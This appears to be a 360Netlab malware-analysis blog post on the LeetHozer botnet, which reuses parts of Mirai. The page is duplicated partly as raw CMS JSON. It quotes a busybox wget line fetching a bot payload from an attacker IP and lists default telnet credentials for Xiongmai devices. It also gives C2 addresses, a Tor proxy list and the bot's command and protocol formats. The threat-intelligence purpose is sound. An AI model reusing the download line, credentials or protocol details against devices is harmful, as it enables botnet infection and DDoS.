86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd
185.225.19.57 Romania ASN39798 MivoCloud_SRL
37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited
64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC
188.214.30.178 Romania ASN51177 THC_Projects_SRL
190.115.18.144 Russian ASN262254 DANCOM_LTD
</code></pre>
<!--kg-card-end: markdown--> | 背景
2020年3月26日我们捕获了一个可疑的样本 11c1be44041a8e8ba05be9df336f9231，大部分杀毒引擎将其识别为Mirai，但是其网络流量却不符合Mirai的特征，这引起了注意，经分析，这是一个复用了Mirai的Reporter，Loader机制，重新设计了加密方法以及C2通信协议的Bot程序。
Mirai已经是安全社区非常熟悉的老朋友，蜜罐系统每天都能捕获大量的Mirai变种，这些变种都非常简单:要么是换一换C2;要么改一改加密的Key;要么集成些新的漏洞扫描……这些入门级的DDoser已经不能引起我们的任何兴趣了。这个Bot程序之所以能在众多变种脱颖而出，一是因为它独特的的加密方法，严谨的通信协议；二是因为在溯源过程中，我们发现它很有可能隶属于Moobot团伙而且正在迭代开发中（就在我们编写本文的同时作者更新了第三个版本，增加了一些新功能，更换了新的Tor CC vbrxmrhrjnnouvjf.onion:31337）。基于这些原因，我们决定将它曝光。因为传播过程中使用H0z3r字串(/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;)，我们将其命名为LeetHozer。目前观测到感染目标主要是雄迈旗下的固件版本早于2017年5月的H.264设备和部分固件版本晚于2017年5月H.265设备。其Bot功能主要包括：
* 漏洞扫描，入侵并上报新设备
* DDos攻击
传播
LeetHozer利用目标设备TCP 9530端口的漏洞(后门)开启的telnetd服务，开启成功后通过默认口令登录设备完成感染过程。传播过程如图所示：
关于9530端口漏洞的利用
* 2017 年安全研究人员披露了该漏洞[1]。[2]。
* 2020-02-04 漏洞POC在github上开源[3]。[4]。
* 2020-02-11 我们首次看到我们称之为moobot_xor的moobot变种利用该漏洞
* 2020-03-26 LeetHozer开始利用该漏洞。
当前利用该漏洞的源IP还保持在日均4.5k左右。
LeetHozer和moobot_xor在9530漏洞利用中使用了同一个独特的字串/bin/busybox DNXXXFF，我们还观察到他们曾经在相同时间点使用了同一个downloader,因此推测moobot_xor和LeetHozer属于同一个组织或者个人。基于这一点，我们将扫描利用TCP 9530端口漏洞的IP都认为是潜在的或已经成为LeetHozer的Bot IP估计，LeetHozer的日活Bot IP可能在4.5k左右。请注意并不是说这些Bot都是通过9530端口感染而来。该团伙也会通过其他漏洞、弱口令等方式传播自己的bot样本。
这个两个家族共用downloader的时间以及downloader如下所示：
date=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm
当前我们看到的LeetHozer攻击目标
2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks
2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks
2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd
2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC
2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc.
2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC
2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks
2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS
2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc.
2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp.
2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd
2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc.
2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V
2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V
逆向分析
目前LeetHozer Botnet有2个版本，V2新增了DDos攻击方法，其它方面几乎是一样的。
下文将以最新版本V2为主，同时也会穿插V1(MD5:11c1be44041a8e8ba05be9df336f9231)，从主机行为，DDos指令格式，网络通信等方面剖析LeetHozer的技术细节。
MD5: 57212f7e253ecebd39ce5a8a6bd5d2df
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer: None
Library: uclibc
Version: V2
主机行为
LeetHozer的功能比较简单，运行时会操作watchdog设备，将pid写到入名为.1的文件中，在console中输出出/bin/sh:./a.out:not found字串，迷惑用户。接着开始扫描9530端口，使用漏洞开启telnetd服务，将被感染的设备信息上报给reporter，同时，和C2建立通信，等待指令，准备DDos攻击。
Bot使用自定义的算法加密敏感资源，防止其功能被一眼看破，解密算法如下
xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
解密后资源信息如下所示，里面包括了Bot要操作的watchdog设备，C2等，这些信息只有在需要使用时会才会解密。
.1
/dev/watchdog
/dev/misc/watchdog
/bin/sh: ./a.out: not found
w6gr2jqz3eag4ksi.onion
Bot功能具体实现如下所示，
1.
设置watchdog防止设备重启
2.
通过PID文件实现Bot单例
3.
扫描端口&漏洞利用&上报信息
*
复用了mirai的快速端口扫描，扫描端口为9530
*
利用漏洞开启telnetd服务，用以下的凭证尝试登录。
root:xc3511
root:xmhdipc
root:klv123
root:123456
root:jvbzd
root:hi3518
root:tsgoingon
*
上报成功登录的设备信息
4.
接收C2指令，准备DDos攻击,不同版本支持的攻击命令有所差异。
version
command
V1
tcpraw
v2
tcpraw;icmpecho;udpplain
但是攻击指令的数据格式是一样的，其结构为Header(6 bytes),Option1,Option2...，其中Option的结构为Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding, 下面以一个实际的攻击指令为例说明解析过程。
00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13
00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.
----------------------------------------------------------------------------
Header: 3E 00 3F 00 3A 00,小端方式解读数据
0x003E ---- xor key
0x003A ---- 0x3A xor 0x3E = 4 个Option
Opt 1: 01 00 08 00 04 00,小端方式解读数据
0x0001 ----Type 1,Padding 4 bytes
0x0008 ----Content length,len("udpplain") = 8
0x0004 ----Subtype 4,Contents为attack vector
Contents: udpplain
Padding: 00 00 00 00
Opt 2: 01 00 0E 00 06 00,小端方式解读数据
0x0001 ----Type 1,Padding 4 bytes
0x000e ----Content length
0x0006 ----Subtype 6,Contents为attack target
Contents: 139.28.218.180
Padding: 00 00 00 00
Opt 3: 02 00 01 00 0c 00,小端方式解读数据
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 忽略此字段，Contents长度为定长2 bytes
0x000c ----Subtype 0xc,Contents为target port
Contents: 80
Opt 4: 02 00 01 00 05 00,小端方式解读数据
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 忽略此字段，Contenss长度为定长2 bytes
0x0005 ----Subtype 0x05,Contents为攻击时长
Contents: 0x0064
通信协议
LeetHozer使用过2种C2:Tor-C2以及IP-C2，比较奇怪的是在V2的Bot样本中两种C2同时存在，但是Tor-C2所在的的代码分枝不会被执行，我们有理由相信这个Botnet正在迭代开发中。
1.
Tor-C2，V1使用，V2出现但不使用。
w6gr2jqz3eag4ksi.onion:31337
2.
IP-C2，V2使用。
37.49.226.171:31337
无论是哪种C2，通信协议是一样的，只不过Tor-C2有一个通过Tor proxy建立连接的前置过程。Bot和C2建立连接后得经过2轮交互才真正上线成功。
*
通过Tor proxy和C2建立连接
Bot 样本内嵌代理列表如下
45.82.176.194:9034
91.236.251.131:9712
18.177.13.247:443
62.109.8.218:8888
82.99.213.98:9191
35.225.55.174:9251
194.99.22.206:9050
45.147.199.142:8060
47.104.188.20:8999
54.149.179.115:9050
195.128.102.178:9050
185.176.25.66:9002
54.188.106.141:9080
193.47.35.56:10000
88.193.137.205:9050
134.209.84.21:9119
194.58.111.244:9050
192.99.161.66:9050
193.47.35.53:9090
167.179.74.97:9251
185.30.228.141:9050
*
第一轮交互
Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据
一些关键字段的含义
offset
length
content
field meaning
0x00
2 bytes
0x8f49
source port
0x02
2 bytes
0x7a69
hardcode
0x04
4 bytes
0x00004818
hardcode
0x0e
2 bytes
0x0001
first round
0x14
4 bytes
0x0051cc
checksum
其中checksum的计算如下所示
step 1: calc the sum of the first 12 WORD
(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
step 2:(HWORD(sum) + LWORD(sum)) >> 16
(0x0001+0x51CB) >> 16 = 0;
step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
(0x0001+0x51cb) && 0xffff = 0x000051cc
C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，部分数据将用于第二轮交互。
offset
length
content
field meaning
0x04
4 bytes
0x000070f1
valid flag1
0x08
4 bytes
0x00004819
valid flag2
*
第二轮交互
Bot发送的包长为255字节，前32字节为有效数据，小端方式解释数据，大部分数据来自一轮的C2的回包。
offset
length
content
field meaning
0x00
8 bytes
0x7a697a69,0x000070f1
C2 reply in the round 1
0x08
4 bytes
0x000070f2
hardcode
0x0e
2 bytes
0x0002
second round
0x14
4 bytes
0x00d665
checksum
C2回包前32字节为有效数据，包长255字节，小端方式解释数据，Bot会检查其中的2个有效标志，当检查通过时，Bot的上线过程完成。
offset
length
content
field meaning
0x04
4 bytes
0x00002775
valid flag1
0x08
4 bytes
0x000070f2
valid flag2
至此Bot与C2之间的身份查验完成，Bot开始等待C2下发指令，C2回包的第一字节指定了指令的类型。
*
指令码：0x00表示心跳
*
指令码：0x01表示上传Bot分组信息
*
指令码：非0x00，非0x01，DDos攻击
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC list
C2
vbrxmrhrjnnouvjf.onion:31337 #v3
37.49.226.171:31337 #v2
w6gr2jqz3eag4ksi.onion:31337 #v1
MD5
027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6
Downloader
http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86
IP
185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd
185.225.19.57 Romania ASN39798 MivoCloud_SRL
37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited
64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC
188.214.30.178 Romania ASN51177 THC_Projects_SRL
190.115.18.144 Russian ASN262254 DANCOM_LTD
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景\n\n2020年3月26日我们捕获了一个可疑的样本 ```11c1be44041a8e8ba05be9df336f9231```，大部分杀毒引擎将其识别为Mirai，但是其网络流量却不符合Mirai的特征，这引起了注意，经分析，这是一个复用了Mirai的Reporter，Loader机制，重新设计了加密方法以及C2通信协议的Bot程序。\nMirai已经是安全社区非常熟悉的老朋友，蜜罐系统每天都能捕获大量的Mirai变种，这些变种都非常简单:要么是换一换C2;要么改一改加密的Key;要么集成些新的漏洞扫描……这些入门级的DDoser已经不能引起我们的任何兴趣了。这个Bot程序之所以能在众多变种脱颖而出，一是因为它独特的的加密方法，严谨的通信协议；二是因为在溯源过程中，我们发现它很有可能隶属于Moobot团伙而且正在迭代开发中（就在我们编写本文的同时作者更新了第三个版本，增加了一些新功能，更换了新的Tor CC `vbrxmrhrjnnouvjf.onion:31337`）。基于这些原因，我们决定将它曝光。因为传播过程中使用`H0z3r`字串(`/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;`)，我们将其命名为LeetHozer。目前观测到感染目标主要是[雄迈旗下的固件版本早于2017年5月的H.264设备和部分固件版本晚于2017年5月H.265设备](http://www.xiongmaitech.com/en/index.php/news/info/12/68)。其Bot功能主要包括：\n\n* 漏洞扫描，入侵并上报新设备\n* DDos攻击\n\n## 传播\n\nLeetHozer利用目标设备TCP 9530端口的漏洞(后门)开启的telnetd服务，开启成功后通过默认口令登录设备完成感染过程。传播过程如图所示：\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_flow.png\" class=\"kg-image\"/></a>\n\n## 关于9530端口漏洞的利用\n\n- 2017 年安全研究人员披露了该漏洞[[1]](https://habr.com/ru/post/332526/)。[[2]](https://www.cnblogs.com/mmseh/p/6537924.html)。\n- 2020-02-04 漏洞POC在github上开源[[3]](https://habr.com/en/post/486856/)。[[4]](https://github.com/Snawoot/hisilicon-dvr-telnet)。\n- 2020-02-11 我们首次看到我们称之为moobot_xor的[moobot](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/)变种利用该漏洞\n- 2020-03-26 LeetHozer开始利用该漏洞。\n\n当前利用该漏洞的源IP还保持在日均4.5k左右。\n<a href=\"__GHOST_URL__/content/images/2020/04/dvr.9530.png\"><img src=\"__GHOST_URL__/content/images/2020/04/dvr.9530.m.png\" class=\"kg-image\"/></a>\n\nLeetHozer和moobot_xor在9530漏洞利用中使用了同一个独特的字串```/bin/busybox DNXXXFF```，我们还观察到他们曾经在相同时间点使用了同一个downloader,因此推测moobot_xor和LeetHozer属于同一个组织或者个人。基于这一点，我们将扫描利用TCP 9530端口漏洞的IP都认为是潜在的或已经成为LeetHozer的Bot IP估计，LeetHozer的日活Bot IP可能在4.5k左右。请注意并不是说这些Bot都是通过9530端口感染而来。该团伙也会通过其他漏洞、弱口令等方式传播自己的bot样本。\n这个两个家族共用downloader的时间以及downloader如下所示：\n```\ndate=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686\ndate=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586\ndate=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm\n```\n\n\n## 当前我们看到的LeetHozer攻击目标\n```\n2020-04-07\t37.49.226.171 \t31337\tddos\ttcpraw \t45.83.128.252 \tASN40676 \tPsychz_Networks\n2020-04-07\t37.49.226.171 \t31337\tddos\tudpplain\t172.106.18.210 \tASN40676 \tPsychz_Networks\n2020-04-08\t37.49.226.171 \t31337\tddos\tudpplain\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-11\tw6gr2jqz3eag4ksi.onion\t31337\tddos\ticmpecho\t185.38.151.161 \tASN25369 \tHydra_Communications_Ltd\n2020-04-13\t37.49.226.171 \t31337\tddos\ticmpecho\t73.99.44.254 \tASN7922 \tComcast_Cable_Communications,_LLC\n2020-04-13\t37.49.226.171 \t31337\tddos\ticmpecho\t94.174.77.69 \tASN5089 \tVirgin_Media_Limited\n2020-04-13\t37.49.226.171 \t31337\tddos\tudppplain\t94.174.77.69 \tASN5089 \tVirgin_Media_Limited\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t185.172.110.224\tASN206898\tServer_Hosting_Pty_Ltd\n2020-04-16\t37.49.226.171 \t31337\tddos\ticmpecho\t52.47.76.48 \tASN16509 \tAmazon.com,_Inc.\n2020-04-16\t37.49.226.171 \t31337\tddos\ttcpraw \t117.27.239.28 \tASN133774\tFuzhou\n2020-04-16\t37.49.226.171 \t31337\tddos\ttcpraw \t162.248.93.234 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-16\t37.49.226.171 \t31337\tddos\tudpplain\t71.222.69.77 \tASN209 \tCenturyLink_Communications,_LLC\n2020-04-17\t37.49.226.171 \t31337\tddos\tudpplain\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171 \t31337\tddos\ttcpraw \t76.164.193.89 \tASN36114 \tVersaweb,_LLC\n2020-04-18\t37.49.226.171 \t31337\tddos\tudpplain\t117.27.239.28 \tASN133774\tFuzhou\n2020-04-18\t37.49.226.171 \t31337\tddos\tudpplain\t66.150.188.101 \tASN32374 \tNuclearfallout_Enterprises,_Inc.\n2020-04-19\t37.49.226.171 \t31337\tddos\ttcpraw \t117.27.239.28 \tASN133774\tFuzhou\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t108.61.22.86 \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t108.61.33.194 \tASN20473 \tChoopa,_LLC\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t172.107.228.198\tASN40676 \tPsychz_Networks\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t192.99.226.11 \tASN16276 \tOVH_SAS\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t209.58.147.245 \tASN394380\tLeaseweb_USA,_Inc.\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t24.46.209.115 \tASN6128 \tCablevision_Systems_Corp.\n2020-04-19\t37.49.226.171 \t31337\tddos\tudpplain\t71.222.69.77 \tASN209 \tCenturyLink_Communications,_LLC\n2020-04-20\t37.49.226.171 \t31337\tddos\tudpplain\t139.28.218.180 \tASN9009 \tM247_Ltd\n2020-04-20\t37.49.226.171 \t31337\tddos\tudpplain\t74.91.122.90 \tASN14586 \tNuclearfallout_Enterprises,_Inc.\n2020-04-23\t37.49.226.171 \t31337\tddos\ticmpecho\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n2020-04-23\t37.49.226.171 \t31337\tddos\tudpplain\t162.244.55.107 \tASN49544 \ti3D.net_B.V\n```\n\n## 逆向分析\n\n目前LeetHozer Botnet有2个版本，V2新增了DDos攻击方法，其它方面几乎是一样的。\n<a href=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\"><img src=\"__GHOST_URL__/content/images/2020/04/hozer_version.png\" class=\"kg-image\"/></a>\n下文将以最新版本V2为主，同时也会穿插V1(MD5:```11c1be44041a8e8ba05be9df336f9231```)，从主机行为，DDos指令格式，网络通信等方面剖析LeetHozer的技术细节。\n\n>MD5:\t\t57212f7e253ecebd39ce5a8a6bd5d2df\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n>\n>Packer:\tNone\n>\n>Library: uclibc\n>\n>Version: V2\n\n### 主机行为\n\nLeetHozer的功能比较简单，运行时会操作watchdog设备，将pid写到入名为```.1```的文件中，在console中输出出```/bin/sh:./a.out:not found```字串，迷惑用户。接着开始扫描9530端口，使用漏洞开启telnetd服务，将被感染的设备信息上报给reporter，同时，和C2建立通信，等待指令，准备DDos攻击。\n\nBot使用自定义的算法加密敏感资源，防止其功能被一眼看破，解密算法如下\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n for i in range(0,len(xorkey)):\n plain=\"\"\n size=len(ctxt) \n for idx in range(0, size):\n ch=ord(ctxt[idx]) \n ch ^=(ord(xorkey[i]) + idx )\n plain += chr(ch)\n ctxt=plain\n return ctxt\n```\n\n解密后资源信息如下所示，里面包括了Bot要操作的watchdog设备，C2等，这些信息只有在需要使用时会才会解密。\n\n| **.1** | **/dev/watchdog** 